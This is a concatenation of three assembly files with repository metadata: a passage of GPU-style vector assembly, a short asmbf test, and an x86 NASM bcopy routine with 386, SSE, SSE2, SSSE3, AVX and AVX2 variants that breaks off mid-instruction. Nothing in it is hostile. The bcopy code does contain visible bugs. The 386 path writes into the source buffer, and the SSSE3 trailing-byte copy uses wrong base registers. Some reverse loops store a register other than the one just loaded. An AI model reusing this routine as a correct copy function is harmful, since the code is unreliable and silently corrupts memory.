f0.0<1>:uw r7.3<0;1,0>:uw mov (16|M0) r16.0<1>:uw 0x0:uw mov (8|M0) r17.0<1>:ub r7.4<1;4,0>:ub (f0.0) mov (16|M0) r16.0<1>:uw 0xFFFF:uw mov (16|M0) r16.0<1>:ub r16.0<32;16,2>:ub mov (8|M0) r16.0<1>:ud r16.0<1;2,0>:ud mov (8|M0) r17.0<1>:ud r17.0<0;2,1>:ud and (8|M0) acc0.0<1>:d r17.0<8;8,1>:ud r16.0<8;8,1>:ud and (8|M0) r21.0<1>:ud acc0.0<8;8,1>:d r21.0<8;8,1>:ud L240: mov (4|M0) a0.0<1>:uw r22.0<4;4,1>:w add (2|M0) a0.2<1>:ud r22.0<2;2,1>:ud r22.4<0;1,0>:ud mov (8|M0) r17.0<1>:uw a0.0<8;8,1>:uw mov (1|M0) a0.3<1>:uw 0x2A0:uw mov (2|M0) f0.0<1>:uw r[a0.3]<2;2,1>:uw mov (2|M0) f1.0<1>:uw r[a0.3,4]<2;2,1>:uw mov (8|M0) a0.0<1>:uw r17.0<8;8,1>:uw (~f0.0) shl (16|M0) r[a0.0]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.1]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.2]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.3]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.0,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.1,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.2,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.3,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.4]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.5]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.6]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.7]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.4,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.5,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.6,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.7,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw add (8|M0) a0.0<1>:w a0.0<8;8,1>:w 0x200:uw mov (8|M0) r17.0<1>:uw a0.0<8;8,1>:uw mov (1|M0) a0.3<1>:uw 0x2A0:uw mov (2|M0) f0.0<1>:uw r[a0.3,8]<2;2,1>:uw mov (2|M0) f1.0<1>:uw r[a0.3,12]<2;2,1>:uw mov (8|M0) a0.0<1>:uw r17.0<8;8,1>:uw (~f0.0) shl (16|M0) r[a0.0]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.1]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.2]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.3]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.0,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.1,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.2,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.3,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.4]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.5]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.6]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.7]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.4,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.5,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.6,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.7,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw add (8|M0) a0.0<1>:w a0.0<8;8,1>:w 0x200:uw mov (8|M0) r17.0<1>:uw a0.0<8;8,1>:uw mov (1|M0) a0.3<1>:uw 0x2A0:uw mov (2|M0) f0.0<1>:uw r[a0.3,16]<2;2,1>:uw mov (2|M0) f1.0<1>:uw r[a0.3,20]<2;2,1>:uw mov (8|M0) a0.0<1>:uw r17.0<8;8,1>:uw (~f0.0) shl (16|M0) r[a0.0]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.1]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.2]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.3]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.0,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.1,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.2,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.3,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.4]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.5]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.6]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.7]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.4,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.5,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.6,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.7,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw add (8|M0) a0.0<1>:w a0.0<8;8,1>:w 0x200:uw mov (8|M0) r17.0<1>:uw a0.0<8;8,1>:uw mov (1|M0) a0.3<1>:uw 0x2A0:uw mov (2|M0) f0.0<1>:uw r[a0.3,24]<2;2,1>:uw mov (2|M0) f1.0<1>:uw r[a0.3,28]<2;2,1>:uw mov (8|M0) a0.0<1>:uw r17.0<8;8,1>:uw (~f0.0) shl (16|M0) r[a0.0]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.1]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.2]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.0) shl (16|M0) r[a0.3]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.0,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.1,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.2,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f0.1) shl (16|M0) r[a0.3,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.4]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.5]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.6]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.0) shl (16|M0) r[a0.7]<1>:uw r2.23<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.4,32]<1>:uw r2.20<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.5,32]<1>:uw r2.21<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.6,32]<1>:uw r2.22<0;1,0>:ub 0x8:uw (~f1.1) shl (16|M0) r[a0.7,32]<1>:uw r2.23<0;1,0>:ub 0x8:uw add (8|M0) a0.0<1>:w a0.0<8;8,1>:w 0x200:uw mov (8|M0) r17.0<1>:uw a0.0<8;8,1>:uw L1696: nop
TheStack
0db34d7993cddb2fcc083107a96b1602c8875162
Assemblycode:Assembly
{"size": 42, "ext": "asm", "max_stars_repo_path": "test/cne-cps-crv-cpo.asm", "max_stars_repo_name": "kspalaiologos/asmbf", "max_stars_repo_stars_event_min_datetime": "2020-08-03T06:26:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T19:50:51.000Z", "max_issues_repo_path": "test/cne-cps-crv-cpo.asm", "max_issues_repo_name": "pyautogui/asmbf", "max_issues_repo_issues_event_min_datetime": "2019-10-02T19:37:08.000Z", "max_issues_repo_issues_event_max_datetime": "2020-06-12T19:40:53.000Z", "max_forks_repo_path": "test/cne-cps-crv-cpo.asm", "max_forks_repo_name": "pyautogui/asmbf", "max_forks_repo_forks_event_min_datetime": "2019-05-18T11:59:41.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-21T20:40:25.000Z"}
{"max_stars_count": 67, "max_issues_count": 55, "max_forks_count": 9, "avg_line_length": 6.0, "max_line_length": 9, "alphanum_fraction": 0.6904761905}
cne r1, 1 cps 48 cps 49 crv cpo r1 out r1
TheStack
348c6ddc3d2451f9c22f7c7db4cde2832959c7d3
Assemblycode:Assembly
{"size": 22612, "ext": "asm", "max_stars_repo_path": "asm/bcopy.asm", "max_stars_repo_name": "GabrielRavier/Generic-Assembly-Samples", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "asm/bcopy.asm", "max_issues_repo_name": "GabrielRavier/Generic-Assembly-Samples", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "asm/bcopy.asm", "max_forks_repo_name": "GabrielRavier/Generic-Assembly-Samples", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.6518345043, "max_line_length": 103, "alphanum_fraction": 0.5425437821}
; Performance for copying a 100000 bytes buffer for all the versions (lower is better) : ; 386 : 26053/8336 = 2.94 ; SSE : 9112/8944 = 1.02 ; SSE2 : 9018/8960 = 1.01 ; std : 8487/8510 = 1.00 ; SSSE3 : 7928/8631 = 0.92 ; AVX2 : 6691/8487 = 0.79 ; Calculated by using the clocks taken by the algorithm divided by the clocks taken by the std version global @ASM_bcopy@12 extern _getInstructionSet segment .data align=16 actualASM_bcopyPtr dd actualASM_bcopyGetPtr segment .text align=16 %define source ecx %define destination edx %define length 4 %define result eax actualASM_bcopy386: push ebp push edi mov edi, destination push esi mov esi, source push ebx mov ecx, [esp + 16 + length] cmp ecx, 16 jb .lessThan16 cmp esi, edi jb .doBackwards cmp ecx, 680 jb .doManualLoopForwards mov eax, esi xor eax, edi and eax, 0ffh jz .forwardsMovs .doManualLoopForwards: sub ecx, 16 .forwardsManualLoop: sub ecx, 16 mov eax, [esi] mov ebx, [esi + 4] mov [edi], eax mov [edi + 4], ebx mov eax, [esi + 8] mov ebx, [esi + 12] mov [edi + 8], eax mov [edi + 12], ebx lea esi, [esi + 16] lea edi, [edi + 16] jnb .forwardsManualLoop add ecx, 16 jmp .lessThan16 align 16 .forwardsMovs: mov eax, [esi + ecx - 4] lea ebx, [edi + ecx - 4] shr ecx, 2 rep movsd mov [ebx], eax jmp .return align 16 .backwardsMovs: mov eax, [esi] mov ebx, edi lea esi, [esi + ecx - 4] lea edi, [edi + ecx - 4] shr ecx, 2 std rep movsd mov [ebx], eax cld jmp .return align 16 .doBackwards: cmp ecx, 680 jb .backwardsNoMovs mov eax, esi xor eax, edi and eax, 0FFh jz .backwardsMovs .backwardsNoMovs: add esi, ecx add edi, ecx sub ecx, 16 .backwardsManualLoop: sub ecx, 16 mov eax, [esi - 4] mov ebx, [esi - 8] mov [edi - 4], eax mov [edi - 8], ebx mov eax, [esi - 12] mov ebx, [esi - 16] mov [edi - 12], eax mov [edi - 16], ebx lea esi, [esi - 16] lea edi, [edi - 16] jnb .backwardsManualLoop add ecx, 16 ; Calculate position to head sub esi, ecx sub edi, ecx align 16 .lessThan16: cmp ecx, 8 jb .lessThan8 mov eax, [esi] mov ebx, [esi + 4] mov ebp, [esi + ecx - 8] mov esi, [esi + ecx - 4] mov [edi], eax mov [edi + 4], ebx mov [edi + ecx - 8], ebp mov [edi + ecx - 4], esi jmp .return align 16 .lessThan8: cmp ecx, 4 jb .lessThan4 mov eax, [esi] mov ebx, [esi + ecx - 4] mov [edi], eax mov [esi + ecx - 4], ebx jmp .return align 16 .lessThan4: cmp ecx, 2 jb .lessThan2 mov dx, [esi] mov bx, [esi + ecx - 2] mov [edi], dx mov [edi + ecx - 2], bx jmp .return align 16 .lessThan2: cmp ecx, 1 jb .return mov cl, [esi] mov [edi], cl align 16 .return: pop ebx pop esi pop edi pop ebp ret 4 ; end of actualASM_bcopy386 align 16 %define backDest edi %define backSrc esi %define regLength ecx actualASM_bcopySSE: push ebp push backDest mov backDest, destination push backSrc mov backSrc, source push ebx sub destination, backSrc mov regLength, dword [esp + 16 + length] lea eax, [regLength - 1] cmp destination, regLength jb .doReverse test regLength, regLength je .return lea ebx, [backSrc + 16] lea ebp, [backDest + 16] cmp backDest, ebx setnb dl cmp esi, ebp setnb bl or dl, bl cmp eax, 14 seta bl test dl, bl je .doMovsb mov edx, backDest or edx, backSrc test dl, 15 jne .doMovsb mov ebp, regLength mov edx, backSrc and ebp, -16 mov ebx, backDest add ebp, backSrc align 16 .xmmLoop: movaps xmm0, oword [edx] add edx, 16 add ebx, 16 movaps oword [ebx - 16], xmm0 cmp edx, ebp jne .xmmLoop mov edx, regLength and edx, -16 add backDest, edx add backSrc, edx sub eax, edx cmp regLength, edx je .return movzx ecx, byte [backSrc] test eax, eax mov byte [backDest], cl je .return %macro doTrailingByteSSE1 3 movzx %3, byte [backSrc + %1] cmp eax, %1 mov byte [backDest + %1], %2 je .return %endmacro doTrailingByteSSE1 1, bl, ebx doTrailingByteSSE1 2, dl, edx doTrailingByteSSE1 3, cl, ecx doTrailingByteSSE1 4, bl, ebx doTrailingByteSSE1 5, dl, edx doTrailingByteSSE1 6, cl, ecx doTrailingByteSSE1 7, bl, ebx doTrailingByteSSE1 8, dl, edx doTrailingByteSSE1 9, cl, ecx doTrailingByteSSE1 10, bl, ebx doTrailingByteSSE1 11, dl, edx doTrailingByteSSE1 12, cl, ecx doTrailingByteSSE1 13, bl, ebx movzx eax, byte [backSrc + 14] mov byte [backDest + 14], al .return: pop ebx pop backSrc pop backDest pop ebp ret 4 align 16 .doReverse: movzx edx, byte [backSrc + eax] mov byte [backDest + eax], dl dec eax cmp eax, -1 je .return movzx edx, byte [backSrc + eax] mov byte [backDest + eax], dl dec eax cmp eax, -1 jne .doReverse jmp .return align 16 .doMovsb: add regLength, backDest .movsbLoop: movsb cmp backDest, regLength jne .movsbLoop jmp .return ; end of actualASM_bcopySSE1 align 16 %define backSrc esi %define backDest edi %define regLength ecx actualASM_bcopySSE2: push ebp push backDest push backSrc push ebx mov backSrc, source mov backDest, destination mov regLength, dword [esp + 16 + length] lea eax, [regLength - 1] sub destination, backSrc cmp destination, regLength jb .doReverse test regLength, regLength je .return lea ebx, [backDest + 16] cmp backSrc, ebx setnb bl lea ebp, [backSrc + 16] cmp backDest, ebp setnb dl or bl, dl je .doMovsb cmp eax, 29 jbe .doMovsb mov edx, backSrc neg edx and edx, 15 je .alreadyAligned %macro doAlignSSE2 1 lea ebp, [backSrc + %1] movzx eax, byte [backSrc + %1 - 1] lea ebx, [backDest + %1] mov byte [backDest + %1 - 1], al lea eax, [regLength - %1 - 1] cmp edx, %1 je .endAlign %endmacro doAlignSSE2 1 doAlignSSE2 2 doAlignSSE2 3 doAlignSSE2 4 doAlignSSE2 5 doAlignSSE2 6 doAlignSSE2 7 doAlignSSE2 8 doAlignSSE2 9 doAlignSSE2 10 doAlignSSE2 11 doAlignSSE2 12 doAlignSSE2 13 doAlignSSE2 14 lea ebp, [backSrc + 15] movzx eax, byte [backSrc + 14] lea ebx, [backDest + 15] mov byte [backDest + 14], al lea eax, [regLength - 16] .endAlign: ; mov ecx, regLength sub ecx, edx ; mov esi, backSrc add esi, edx add edx, backDest mov edi, ecx and edi, -16 add edi, esi .xmmLoop: movdqa xmm0, oword [esi] movdqu oword [edx], xmm0 add esi, 16 add edx, 16 cmp esi, edi jne .xmmLoop mov esi, ecx and esi, -16 add ebx, esi add ebp, esi sub eax, esi cmp ecx, esi je .return movzx ecx, byte [ebp] mov byte [ebx], cl test eax, eax je .return %macro doTrailingByteSSE2edx 1 movzx edx, byte [ebp + %1] mov byte [ebx + %1], dl cmp eax, %1 je .return %endmacro %macro doTrailingByteSSE2ecx 1 movzx ecx, byte [ebp + %1] mov byte [ebx + %1], cl cmp eax, %1 je .return %endmacro doTrailingByteSSE2edx 1 doTrailingByteSSE2ecx 2 doTrailingByteSSE2edx 3 doTrailingByteSSE2ecx 4 doTrailingByteSSE2edx 5 doTrailingByteSSE2ecx 6 doTrailingByteSSE2edx 7 doTrailingByteSSE2ecx 8 doTrailingByteSSE2edx 9 doTrailingByteSSE2ecx 10 doTrailingByteSSE2edx 11 doTrailingByteSSE2ecx 12 doTrailingByteSSE2edx 13 movzx eax, byte [ebp + 14] mov byte [ebx + 14], al .return: pop ebx pop backSrc pop backDest pop ebp ret 4 align 16 .doReverse: movzx ebx, byte [backSrc + eax] mov byte [backDest + eax], cl sub eax, 1 cmp eax, -1 je .return movzx ebx, byte [backSrc + eax] mov byte [backDest + eax], bl sub eax, 1 cmp eax, -1 jne .doReverse jmp .return .doMovsb: add regLength, backSrc .movsbLoop: movsb cmp backSrc, regLength jne .movsbLoop jmp .return .alreadyAligned: mov ebp, backSrc mov ebx, backDest jmp .endAlign ; End of actualASM_bcopySSE2 align 16 actualASM_bcopySSSE3: push ebp push edi push esi push ebx sub esp, 28 mov edi, destination mov esi, source mov edx, [esp + 44 + length] lea eax, [edx - 1] cmp edi, source jnb .destBiggerThanSrc test edx, edx je .return lea ecx, [ecx + 16] cmp edi, ecx lea ecx, [edi + 16] setnb bl cmp esi, ecx setnb cl or bl, cl je .doMovsb cmp eax, 14 jbe .doMovsb mov ebp, edx mov ecx, esi mov ebx, edi and ebp, -16 add ebp, esi .xmmLoop: movdqu xmm0, oword [ecx] movups oword [ebx], xmm0 add ecx, 16 add ebx, 16 cmp ecx, ebp jne .xmmLoop mov ebx, edx and ebx, -16 add esi, ebx add edi, ebx sub eax, ebx cmp edx, ebx je .return movzx edx, byte [esi] mov byte [edi], dl test eax, eax je .return movzx edx, byte [esi + 1] mov byte [edi + 1], dl cmp eax, 1 je .return movzx edx, byte [esi + 2] mov byte [edi + 2], dl cmp eax, 2 je .return movzx edx, byte [esi + 3] mov byte [edi + 3], dl cmp eax, 3 je .return movzx edx, byte [esi + 4] mov byte [edi + 4], dl cmp eax, 4 je .return movzx edx, byte [esi + 5] mov byte [edx + 5], dl cmp eax, 5 je .return movzx edx, byte [esi + 6] mov byte [edi + 6], dl cmp eax, 6 je .return movzx edx, byte [ebp + 7] mov byte [edi + 7], dl cmp eax, 7 je .return movzx edx, byte [esi + 8] mov byte [edi + 8], dl cmp eax, 8 je .return movzx edx, byte [esi + 9] mov byte [edi + 9], dl cmp eax, 9 je .return movzx edx, byte [esi + 10] mov byte [edi + 10], dl cmp eax, 10 je .return movzx edx, byte [esi + 11] mov byte [edi + 11], dl cmp eax, 11 je .return movzx edx, byte [esi + 12] mov byte [edi + 12], dl cmp eax, 12 je .return movzx edx, byte [esi + 13] mov byte [edi + 13], dl cmp eax, 13 je .return movzx eax, byte [esi + 14] mov byte [edi + 14], al .return: add esp, 28 pop ebx pop esi pop edi pop ebp ret 4 .destBiggerThanSrc: lea ebx, [source + eax] mov dword [esp + 4], ebx lea ecx, [edi + eax] mov dword [esp + 8], ecx test edx, edx je .return lea ebx, [edx - 16] lea ecx, [esi + ebx] lea ebp, [edi + ebx] mov dword [esp + 12], ecx lea ebx, [edi + edx] cmp ecx, ebx setnb byte [esp + 3] movzx ecx, byte [esp + 3] lea ebx, [esi + edx] cmp ebp, edx setnb bl or cl, bl je .doByteLoop cmp eax, 14 jbe .doByteLoop mov ecx, dword [esp + 12] mov esi, edx mov ebx, ebp and esi, -16 mov edi, ecx sub edi, esi mov esi, edi .xmmLoopReverse: movdqu xmm1, oword [ecx] movups oword [ebx], xmm1 sub ecx, 16 sub edx, 16 cmp ecx, esi jne .xmmLoopReverse mov esi, edx mov ebx, dword [esp + 4] and esi, -16 mov ecx, esi sub eax, esi neg ecx add ebx, ecx add ecx, dword [esp + 8] cmp edx, esi je .return movzx edx, byte [ebx] mov byte [ecx], dl test eax, eax je .return movzx edx, byte [ebx + 1] mov byte [ecx + 1], dl cmp eax, 1 je .return movzx edx, byte [ebx + 2] mov byte [ecx + 2], dl cmp eax, 2 je .return movzx edx, byte [ebx + 3] mov byte [ecx + 3], dl cmp eax, 3 je .return movzx edx, byte [ebx + 4] mov byte [ecx + 4], dl cmp eax, 4 je .return movzx edx, byte [ebx + 5] mov byte [ecx + 5], dl cmp eax, 5 je .return movzx edx, byte [ebx + 6] mov byte [ecx + 6], dl cmp eax, 6 je .return movzx edx, byte [ebx + 7] mov byte [ecx + 7], dl cmp eax, 7 je .return movzx edx, byte [ebx + 8] mov byte [ecx + 8], dl cmp eax, 8 je .return movzx edx, byte [ebx + 9] mov byte [ecx + 9], dl cmp eax, 9 je .return movzx edx, byte [ebx + 10] mov byte [ecx + 10], dl cmp eax, 10 je .return movzx edx, byte [ebx + 11] mov byte [ecx + 11], dl cmp eax, 11 je .return movzx edx, byte [ebx + 12] mov byte [ecx + 12], dl cmp eax, 12 je .return movzx edx, byte [ebx + 13] mov byte [ecx + 13], dl cmp eax, 13 je .return movzx eax, byte [ebx + 14] mov byte [ecx + 14], al jmp .return align 16 .doMovsb: add edx, esi .movsbLoop: movsb cmp esi, edx jne .movsbLoop jmp .return align 16 .doByteLoop: lea ebx, [esi - 1] lea ecx, [edi - 1] .byteLoop: movzx edx, byte [ebx + eax + 1] mov byte [ecx + eax + 1], dl dec eax cmp eax, -1 jne .byteLoop jmp .return align 16 actualASM_bcopyAVX: push ebp mov ebp, esp push edi push esi push ebx mov edi, destination and esp, -32 ; Align stack sub esp, 32 mov eax, dword [ebp + 4 + length] lea ebx, [eax - 1] mov dword [esp + 28], ebx cmp destination, source jnb .destBiggerThanSrc test eax, eax je .return lea ebx, [source + 32] cmp destination, ebx setnb bl mov esi, ebx lea ebx, [destination + 32] mov edx, esi cmp source, edx setnb bl or dl, bl je .doMovsb cmp dword [esp + 28], 30 jbe .doMovsb mov esi, eax mov edx, source mov ebx, edi and esi, -32 add esi, source .avxLoop: vmovdqu xmm1, oword [edx] add edx, 32 vinsertf128 ymm0, ymm1, oword [edx - 16], 1 add ebx, 32 vmovups oword [ebx - 32], xmm0 vextractf128 oword [ebx - 16], ymm0, 1 cmp edx, esi jne .avxLoop mov edx, eax and edx, -32 lea esi, [source + edx] add edi, edx cmp eax, edx je .avxReturn .movsbLoopAfterAvx: movsb cmp esi, source jne .movsbLoopAfterAvx .avxReturn: vzeroupper .return: lea esp, [ebp - 12] pop ebx pop esi pop edi pop ebp ret 4 align 16 .destBiggerThanSrc: lea esi, [eax - 1] lea ebx, [source + esi] lea edx, [edx + esi] mov dword [esp + 16], ebx mov dword [esp + 12], edx test eax, eax je .return lea ebx, [eax - 16] lea edx, [edi + ebx] lea esi, [source + ebx] mov dword [esp + 24], edx lea ebx, [edi + eax] cmp esi, ebx setnb byte [esp + 23] movzx edx, byte [esp + 23] lea ebx, [source + eax] cmp dword [esp + 24], ebx setnb bl or dl, bl je .doReverseByteLoop cmp dword [esp + 28], 14 jbe .doReverseByteLoop mov ebx, dword [esp + 24] lea edx, [eax - 1] mov ecx, esi mov esi, eax and esi, -16 mov edi, ecx sub edi, esi mov esi, edi .reverseAvxLoop: vmovdqu xmm2, oword [ecx] sub ecx, 16 sub ebx, 16 vmovups oword [ebx + 16], xmm2 cmp ecx, esi jne .reverseAvxLoop mov ebx, eax mov esi, dword [esp + 16] and ebx, -16 mov ecx, ebx sub edx, ebx neg ecx add esi, ecx add ecx, dword [esp + 12] cmp eax, ebx je .return movzx eax, byte [esi] mov byte [ecx], al test edx, edx je .return movzx eax, byte [esi-1] mov byte [ecx-1], al cmp edx, 1 je .return movzx eax, byte [esi-2] mov byte [ecx-2], al cmp edx, 2 je .return movzx eax, byte [esi-3] mov byte [ecx-3], al cmp edx, 3 je .return movzx eax, byte [esi-4] mov byte [ecx-4], al cmp edx, 4 je .return movzx eax, byte [esi-5] mov byte [ecx-5], al cmp edx, 5 je .return movzx eax, byte [esi-6] mov byte [ecx-6], al cmp edx, 6 je .return movzx eax, byte [esi-7] mov byte [ecx-7], al cmp edx, 7 je .return movzx eax, byte [esi-8] mov byte [ecx-8], al cmp edx, 8 je .return movzx eax, byte [esi-9] mov byte [ecx-9], al cmp edx, 9 je .return movzx eax, byte [esi-10] mov byte [ecx-10], al cmp edx, 10 je .return movzx eax, byte [esi-11] mov byte [ecx-11], al cmp edx, 11 je .return movzx eax, byte [esi-12] mov byte [ecx-12], al cmp edx, 12 je .return movzx eax, byte [esi-13] mov byte [ecx-13], al cmp edx, 13 je .return movzx eax, byte [esi-14] mov byte [ecx-14], al jmp .return align 16 .doMovsb: add eax, ecx mov esi, ecx .movsbLoop: movsb cmp esi, eax jne .movsbLoop jmp .return align 16 .doReverseByteLoop: mov edx, dword [esp + 28] lea ebx, [source - 1] lea ecx, [edi - 1] .reverseByteLoop: movzx eax, byte [ebx + edx + 1] mov byte [ecx + edx + 1], al dec edx cmp edx, -1 jne .reverseByteLoop jmp .return ; End of actualASM_bcopyAVX align 16 %define backSrc esi %define regLength eax actualASM_bcopyAVX2: push ebp mov ebp, esp push edi push backSrc push ebx and esp, -32 sub esp, 32 mov backSrc, source mov regLength, dword [ebp + 4 + length] dec regLength mov ecx, destination sub ecx, backSrc cmp ecx, dword [ebp + 4 + length] jnb .doForwards mov ebx, dword [ebp + 4 + length] lea ecx, [ebx - 32] lea edi, [backSrc + ecx] mov dword [esp + 28], edi lea edi, [destination + ecx] mov ebx, dword [ebp + 4 + length] add ebx, esi cmp edi, ebx setnb cl mov ebx, dword [ebp + 4 + length] add ebx, edx cmp dword [esp + 28], ebx setnb bl or cl, bl je .doByteByByte cmp eax, 30 jbe .doByteByByte mov ecx, dword [esp + 28] mov dword [esp + 28], edi mov edi, dword [ebp + 4 + length] and edi, -32 mov ebx, ecx sub ebx, edi mov edi, ebx mov ebx, dword [esp + 28] .reverseAvxLoop: vmovdqu ymm0, yword [ecx] vmovdqu yword [ebx], ymm0 sub ecx, 32 sub ebx, 32 cmp edi, ecx jne .reverseAvxLoop mov ecx, dword [ebp + 4 + length] and ecx, -32 sub eax, ecx cmp dword [ebp + 4 + length], ecx je .avxReturn .trailingBytesLoopReverseLoop: mov bl, byte [backSrc + eax] mov byte [edx + eax], cl dec eax cmp eax, -1 jne .trailingBytesLoopReverseLoop .avxReturn: vzeroupper .return: lea esp, [ebp - 12] pop ebx pop backSrc pop edi pop ebp ret 4 align 16 .doByteByByte: mov cl, byte [esi + eax] mov byte [edx + eax], cl dec eax cmp eax, -1 je .return mov cl, byte [esi + eax] mov byte [edx + eax], cl dec eax cmp eax, -1 jne .doByteByByte jmp .return .doForwards: mov ebx, dword [ebp + 4 + length] test ebx, ebx je .return lea edi, [edx + 32] cmp esi, edi setnb bl lea ecx, [backSrc + 32] cmp edx, ecx setnb cl or bl, cl je .doMovsb cmp eax, 30 jbe .doMovsb mov eax, esi mov edi, edx mov ebx, dword [ebp + 4 + length] and ebx, -32 add ebx, backSrc .avxLoop: vmovdqu ymm1, yword [eax] vmovdqu yword [edi], ymm1 add eax, 32 add edi, 32 cmp eax, ebx jne .avxLoop mov ecx, dword [ebp + 4 + length] and ecx, -32 lea edi, [edx + ecx] add esi, ecx cmp dword [ebp + 4 + length], ecx je .avxReturn add edx, dword [ebp + 4 + length] .trailingBytesMovsbLoop: movsb cmp edx, edi jne .trailingBytesMovsbLoop jmp .avxReturn .doMovsb: mov eax, dword [ebp + 4 + length] add eax, edx mov edi, edx .movsbLoop: movsb cmp eax, edi jne .movsbLoop jmp .return ; End of actualASM_bcopyAVX2 align 16 %define SSESupported 3 %define SSE2Supported 4 %define SSSE3Supported 6 %define AVXSupported 11 %define AVX2Supported 13 @ASM_bcopy@12: jmp dword [actualASM_bcopyPtr] align 16 actualASM_bcopyGetPtr: push ebx sub esp, 24 mov dword [esp + 12], destination mov dword [esp + 8], source mov ebx, [esp + 28 + length] call _getInstructionSet cmp eax, SSESupported - 1 mov source, dword [esp + 8] mov destination, dword [esp + 12] jg .not386 mov dword [actualASM_bcopyPtr], actualASM_bcopy386 jmp .doJmp .not386: cmp eax, SSE2Supported - 1 jne .notSSE mov dword [actualASM_bcopyPtr], actualASM_bcopySSE jmp .doJmp .notSSE: cmp eax, 